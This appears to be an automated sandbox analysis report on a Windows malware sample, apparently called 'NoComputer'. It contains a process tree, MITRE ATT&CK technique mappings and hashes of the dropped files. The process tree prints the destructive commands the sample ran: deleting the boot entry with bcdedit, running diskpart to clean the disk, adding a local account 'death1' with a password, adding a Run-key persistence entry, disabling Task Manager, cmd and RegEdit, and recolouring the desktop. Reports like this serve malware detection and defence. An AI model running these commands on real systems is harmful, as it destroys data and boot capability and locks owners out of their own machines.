- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6848
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:7112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:5908
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:4912
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5260
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      Modifies registry key
      PID:6624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:6600
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7064

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv sbzOJcCC2kaolUL+z08opA.0.1
1⤵
PID:3704

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ON2FE9~1\NoComputer.py"
1⤵
PID:1500
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ON2FE9~1\NoComputer.py
  2⤵
  - Drops startup file
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4996
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:3272
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:5972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:5308
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:200
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:1584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:3240
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:4904
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:2868
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5512
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:2072
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:4208
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON8D4D~1\NoComputer.py\"" /f"
    3⤵
    PID:4468
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON8D4D~1\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:5572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:4628
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:6060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:6640
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5428
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:6404
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      PID:6628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6900
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      PID:7116

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3820

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ON8D4D~1\NoComputer.py"
1⤵
PID:3724
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ON8D4D~1\NoComputer.py
  2⤵
  - Drops startup file
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:528
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:6284
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:6348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:6800
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:7088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:6216
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:6712
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:6524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:7092
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON9D7A~1\NoComputer.py\"" /f"
    3⤵
    PID:7140
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON9D7A~1\NoComputer.py\"" /f
      4⤵
      PID:7104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:6792
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:6612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:1856
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4108
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6376
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:7164

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:6984

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:5420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_ctypes.pyd
Size 130KB
SHA256 5c0d5082fba1a2a3eb8d5e23073be25164c19f21304b09cecaab340dc7198815
MD5 29873384e13b0a78ee9857604161514b
SHA1 110f60f74b06b3972acd5908937a40e078636479
SHA512 ca826ff5403700e6d8822634e364e43b14ef829095d8fe365b49731236f696fe86ffa3853cd1801dc3b7800d005a032fe23bbc25befe3952ef37790d56dee3c5
SSDEEP 3072:k/QCY6XPLj8N4qvAQBhNf/FTmITIJ+B8sZ75IgyPUW4I3U:uQCXPLjNENBPf/FTXTy+B82l
TLSH
T169D37E0B736800AADAA79178C573AF47EBB1B453121147CF02E4C59A2F637E26E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mfc140u.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\mfc140u.dll
Size 5.4MB
SHA256 1ec2a31a1302e720c799bad2fd90cf3457c6b2a375c4b41faefee1a91d92f3e0
MD5 84b82c149b450d3c8e0d06f09a416b5d
SHA1 1bac9dfe4ec1e8f3e6137d0181d7c8fdc15f3eb9
SHA512 5c86dd8a9e7a7802c1c03fecdbcc60b45b03325eca676d590ffd69f222b9c575ef0dcac77577e169f4e3378db13aef22aaa5446fa70360cb27e99bade02fe4ed
SSDEEP 49152:4LnsrdZXUTQyJa9qgUUjlQNXkW8GCBTDgHsYogTYn3Q3pQMqSj+vTCfEs7ATWYlK:4oJUEUYSPzUQFLOAkGkzdnEVomFHKnP
TLSH
T1CD468D467AED0494D969D03ACA2B8D4BD3B2FC10136557CF0136A75EAF733D24A3A326
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pywintypes313.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pywintypes313.dll
Size 133KB
SHA256 90ba935a0145ee9ae56267a365cc0088d34fa506b7afeb2bd1bd78cd33359605
MD5 7b4bd20267c93e35c49c32aad05b6b15
SHA1 860a10d04c8764f540ed34cf08e06f32b7b37611
SHA512 9e05566461d9be1a234057e1ae9979b6d022189cb49b2c264c9ad253abec0f0235919f24159638accc45fa3e75ab324db8edf737e72db1efda2cfa589531ddfb
SSDEEP 3072:OMUTdaYIwxesVY/r06Yr8Eh4xVEQy8/rlT:OtTd1zXY/rkY647EJ8/r
TLSH
T192D33A47374684EAE966E37DCC671A02D3A2B0110712E3CF06A1C29B6F637E56D3B647
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32api.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32api.pyd
Size 130KB
SHA256 b1b1bb33af9cc14749936b1f6bac36b2ffc494ec1a5fb8b12fc9180a6454f545
MD5 747fc8b90e33f5e9048bcf26788b9169
SHA1 ac30aae15bea0514c7730b007b68dd841a7f3ddc
SHA512 51416cda9a18f113d46c3cb06e7ed85717c64325156be16c4fc78bddc7a06f0e845b3fedd2c1ca6c965517530d9cbb9b9497dd1b309bc16011d2e1499bb5d082
SSDEEP 3072:rHDaprvL00GBUxnHlRVFhLaNzvrtLqQvmtjirpvArke:HaprT0d8HlRVgvZLqQyirpvAr
TLSH
T127D30883735510CAD86AE7BC84635B13D772B8240722A3CF4A70C28A4F637E97E79795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32gui.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32gui.pyd
Size 216KB
SHA256 d44f50418d4ec0a83b90f414fecc71cb2f7b00bbd35265978a2f1ad69a56814c
MD5 a0872ec42a92902a2de5c538f760d057
SHA1 3e27ac7047aba66e89c486cd48adc29a47f2ad56
SHA512 b2638d4bc5a0fa12d6939493ff3318e2ae5c9361f1d0ca116efed70324f3ff99d8cc6b3e84c0fbcb158174ad6534b7ea5f35ba17c83bbe11fd40faaab14cdc81
SSDEEP 6144:JtGr2VACI0HjryeBTEels2lNJSJ7LEGb:JI2VACI0HSuflJm7LLb
TLSH
T18C24E557B29510A6D86AA0BC956B5E16F1B374300320ABCF0630CBBA5F1B7EA753D7C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32ui.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32ui.pyd
Size 1020KB
SHA256 3db5f9c15c327b7f29880010f11eeff291ca13cf6e2c987f36affeefbc989e66
MD5 809745e4202deeebaa46cbba752baeb0
SHA1 449ea800b302b1288d6eef482f341765fce73acf
SHA512 48bf86ccd6f49c8df6d4edc545e9ebae9e6aedd6a2d72b2b2c5751240dee57b6e7e77766336c366818b349817c1e5fe7153f771c418ce54be3f4d9559f057d60
SSDEEP 12288:EdQxQrQ0MPm6DhBnXIIAHxgEc+9ejej2xCELSd:8QxqFWHnkvmjej27
TLSH
T17E25F649679900ACE53AD13E89235B32D3B2B8154762B7CF1675828DFF2FBC12479B42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

black_wallpaper.bmp

Path C:\Users\Admin\AppData\Local\Temp\black_wallpaper.bmp
Size 2.3MB
SHA256 ff1612e2904aacb4fde5271ce129cfe168ccafefd741de8832c8e28e02fef47e
MD5 4349965d47e22765aebba761978cf595
SHA1 29c1be0e31b8a55d8d9cba0ad1012d06650c7fe6
SHA512 5414702124a1bb8f56b5d2debdfef6ef229566497a2cf74596abbcede095cd3eed81de9ab0e9a9093258bba2af37f403f4b449ea1bd115f50a689ff65bcc1a92
SSDEEP 3:6Bhlull8l:7lS
MD5 SHA1 SHA512 SSDEEP

Submit Download

NoComputer.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2424_134285725345517031\NoComputer.dll
Size 6.7MB
SHA256 cb201e9b0d5e9aeffa4a5c25499b44a372b385316451276118185b650fe3cc1c
MD5 fcc4c95bf1e1aa08b53a826003dccde7
SHA1 306a4cd40fc37d6959a895bfc02a7ecb702b4331
SHA512 a4c5c4e12abf027ff4f296986b06b2fa4372e0a9ec884a3ef8b529250a373946353363535755ac901b75487d535042d11e4448b73224763741771b70ed0e1a1a
SSDEEP 98304:H5qgHlZmYN4MXYjKbP+zAP/B4OQExMWN7E0renx1Iu:H5qgXmY6MojKT
TLSH
T1D5663A87B660A962FF61F17580EA0444A33DB597AB14C313321E527A3FEFA748E75348
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2424_134285725345517031\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2424_134285725345517031\_bz2.pyd
Size 83KB
SHA256 449058efc99fccb9e24d640084d845c78f3f86dd34c5c126cf69e523d6320d75
MD5 684d656aada9f7d74f5a5bdcf16d0edb
SHA1 f7586da90d101b5ee3fa24f131ee93ab89606919
SHA512 27fb2eca382675316fb96d18a1aa6b2792077481bf899cbcc658d71f787876045c05c98abf129c9670b6a1d2654d57f59e17580139fa7f482ec27234e44d4235
SSDEEP 1536:Q5qJ1z7AwZG1xIdYxMpC76ROURNf/86bskFIgLVaytH/9bfIivj:iqTzwqdYrmrfk6wkFIgLVyGj
TLSH
T13E839E82E39857F6F45B81B986C00797F770BA91075053AFF298C2962F03F916E5C36A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2424_134285725345517031\_lzma.pyd
Size 155KB
SHA256 48f16b587c6faa44a9e073365b19599200b0f0a0ccb70121e76c2dac4ed53281
MD5 d63e2e743ea103626d33b3c1d882f419
SHA1 af8a162b43f99b943d1c87c9a9e8088816263373
SHA512 d3f1450b5def3c21f47c5133073e76d2ec05787eb6ae88bb70d3a34be84f6025540ac017e9415bb22ef36c2ffbfcea38a28842eefe366325f3d3cf2cca1a3cb1
SSDEEP 3072:D0Vfr5vC9v2J2dE2AomznfB9mNoVhDLaztJLFIg01twW:DSr5YBo5YOVEpJLEh
TLSH
T10EF35B86B794F0D6F7728C38D6624F57E7F5781A0320929A01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2424_134285725345517031\python313.dll
Size 5.8MB
SHA256 69fd86ea29370697c203f7e12830084f920f490766a8e3045af52c036a9ad529
MD5 7387fe038ea75eb9a57b054fccfe37bf
SHA1 5c532cbdfd718b5e80afb2ee8dea991e84757712
SHA512 c46c982b04079ed0b13617b81168598632d6c58d29e23fcbfa064b08e5836866b74880e1a9c01c12670531f13521a21177aafb10be0abb329a79291d7bff08bd
SSDEEP 98304:+nN+czHO42c7SZerAItxv7HDMiExa0RB2d:Fc7O45mwCiP0RB2d
TLSH
T1E1568D16739D51ACC97B8078CA03864BFBB27C053E60934B61E6BB5D2F733624A6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\_decimal.pyd
Size 273KB
SHA256 4e27c06b84401039d10f800a0f06446b58508784ee366c7c8324d8fe9794e1a5
MD5 21fcb8e3d4310346a5dc1a216e7e23ca
SHA1 aab11aef9075715733e0fcde9668c6a51654b9e1
SHA512 c064550d1723e92512a42ce367ecef9331a81121305d66199abce6e0977152d927f7223f475e22c67e3f64b0f612c5553f112d8ce653c666a98d1980d200a599
SSDEEP 6144:HNTyEEsdiuz6KOGifir9qWM53pLW1Asz34+M6lLao:HNIuz8GQiOxgLd
TLSH
T19D546B57A2490CA8EA7380749957DF07F7B278960361C78F43A48AA73F93393676E344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\_hashlib.pyd
Size 63KB
SHA256 52f29aebe9886e830dedc363cd64eb53b6830d84b26e14f1b6faa655a0900b5d
MD5 3e540ef568215561590df215801b0f59
SHA1 3b6db31a97115c10c33266cce8ff80463763c7e6
SHA512 21497a4d1d999a420ed0e146544f4149c72ad4aca4b869a0ee83267d92afa07609ece76a4e95ec706a21580d6544146d0a58c0baa01aa2c242474a4816108527
SSDEEP 1536:GzQGcrVBtIMh2AZvgLbKwps4RdIgvIMytH/918fI38VM1:CSrVBtuWyWos4RdIgvIdlIW
TLSH
T129539E49A2844096CA6752B8CAD39E87F6B5F2525340ABDF0354C0CE2F237C3D77A766
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\_socket.pyd
Size 83KB
SHA256 bced17d6f081d81ea7cd92f1e071e38f8840e61ee0fe1524221b776bcfa78650
MD5 566cb4d39b700c19dbd7175bd4f2b649
SHA1 bede896259b6d52d538c2182aef87c334fc9c73c
SHA512 6a26fd59e2c2ec34b673ef257a00d5577f52286d78525d05efc8a88760fb575be65c3e94e83396f4978c8734b513afe7f09d3c49474169144f98add406530367
SSDEEP 1536:2xl/h+6SDo3OkB+ecI4xyJwAQlyJ+9+nzhjTm96tsJ4O05IgywpytH/9ofIbw:2xko35X4yJwAQlyJs+nzNq96yw5Igyw3
TLSH
T17C837C00A6A041FAEB63D0B5C2679E63FB74B5C11391A35F0066C55A1F337C2AF7AB46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\_wmi.pyd
Size 38KB
SHA256 ebd252d21af9c84128fca04c994093a5bd6ee857f1581f06f4026fdd6a2c40e0
MD5 47e6fd132f44a4feb595bd0fda3c4e1c
SHA1 37c6c2c1ff309db7273afc9324a37b716c5cbfdb
SHA512 69c031d4ff2dac70739f9c188fca3c6969304f22782adf5a9c0ca303a3a712630541bda888ef25d3252b46d43df56f6e7e03c83d331840088c4224d1a1a512c4
SSDEEP 768:nEkKVVUWO0X1ctqDFIgLi6OytxJEKrLy2Ip4RsCxf1mljr8VMOj:nE9v3JctqDFIgLi1ytH/9R1fI38VMi
TLSH
T1AC037D8AE2640046E663DAB5C9A6CE53F571B7C36B11D38F365582990F233C0E73A336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_4656_134285725603940129\libcrypto-3.dll
Size 5.0MB
SHA256 ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7
MD5 ae5b2e9a3410839b31938f24b6fc5cd8
SHA1 9f9a14efc15c904f408a0d364d55a144427e4949
SHA512 36ea760a7b56ea74174882155eddfb8726828240fcfc6b34d90ecdb7e50a7e632374dcbc9b2889081c0973cc51f50967e7d692498c4abd1f2cba3f7fe8d659cc
SSDEEP 98304:M3+lrVT/8LpQmNPMRLuPWv1CPwDvt3uFlDCJ:6yrVT/8LvPMRLui1CPwDvt3uFlDCJ
TLSH
